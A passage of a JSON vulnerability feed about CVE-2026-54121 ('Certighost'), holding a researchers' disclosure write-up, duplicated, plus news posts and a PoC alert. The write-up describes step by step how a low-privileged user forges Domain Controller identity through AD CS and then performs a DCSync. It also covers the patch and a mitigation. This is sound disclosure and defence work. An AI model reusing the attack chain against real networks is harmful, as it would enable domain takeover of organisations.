are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-07-27T09:21:38.668707Z"}, {"uuid": "60017904-3533-4685-9fbf-4c6a5451cccc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3mrmuk2oez22n", "content": "PoC exploit released for critical AD CS domain-takeover flaw (CVE-2026-54121)\n\n\ud83d\udcd6 Read more: www.helpnetsecurity.com/2026/07/27/c...\n\n#cybersecurity #cybersecuritynews #ActiveDirectory #enterprise #exploit #PoC #vulnerability #WindowsServer @microsoft.com com", "creation_timestamp": "2026-07-27T12:11:49.190991Z"}, {"uuid": "e4e2d6cc-b29f-4aee-b0f7-85308d0fcb84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3mrmulnc6yk2n", "content": "PoC exploit released for critical AD CS domain-takeover flaw (CVE-2026-54121)\n\n\ud83d\udcd6 Read more: www.helpnetsecurity.com/2026/07/27/c...\n\n#cybersecurity #cybersecuritynews #ActiveDirectory #enterprise #exploit #PoC #vulnerability #WindowsServer @microsoft.com", "creation_timestamp": "2026-07-27T12:12:43.336978Z"}, {"uuid": "bb12f38f-4382-4146-a140-a4ddc319c9a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mrmusi67ob2j", "content": "\u91cd\u5927\u306aAD CS\u30c9\u30e1\u30a4\u30f3\u4e57\u3063\u53d6\u308a\u306e\u8106\u5f31\u6027(CVE-2026-54121)\u3001PoC\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u304c\u516c\u958b\n\nActive Directory Certificate Services(AD CS)\u306b\u5b58\u5728\u3059\u308b\u91cd\u5927\u306a\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027CVE-2026-54121(\u901a\u79f0\u300cCertighost\u300d)\u3092\u767a\u898b\u30fb\u5831\u544a\u3057\u305f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7814\u7a76\u8005\u305f\u3061\u304c\u3001\u3053\u306e\u8106\u5f31\u6027\u306b\u95a2\u3059\u308b\u6982\u5ff5\u5b9f\u8a3c(PoC)\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3068\u6280\u8853\u7684\u8a73\u7d30\u3092\u516c\u958b\u3057\u307e\u3057\u305f\u3002...", "creation_timestamp": "2026-07-27T12:16:25.693624Z"}, {"uuid": "b5544d36-8278-42b0-aac9-776fd4e6d7db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/gmh5225/43b3516012674b99b959062ea01a513c", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-07-27T12:22:37.155363Z"}, {"uuid": "f84fa9e7-f57f-4ff2-a8b2-9a1c763efd36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mrmw52jhlv2n", "content": "Researchers H0j3n and Aniq Fakhrul disclosed the Certighost exploit on July 24, allowing low-privileged Active Directory users to impersonate a Domain Controller by obtaining a certificate. Microsoft patched the vulnerability (CVE-2026-54121) on July 14, assigning it a CVSS score of 8.8.", "creation_timestamp": "2026-07-27T12:40:14.167039Z"}, {"uuid": "9bb529be-10bd-447c-bc7e-186a8504df69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/95359", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54121-CertiGhost\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a marcgoam\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-27 11:48:41\n\n\ud83d\udcdd 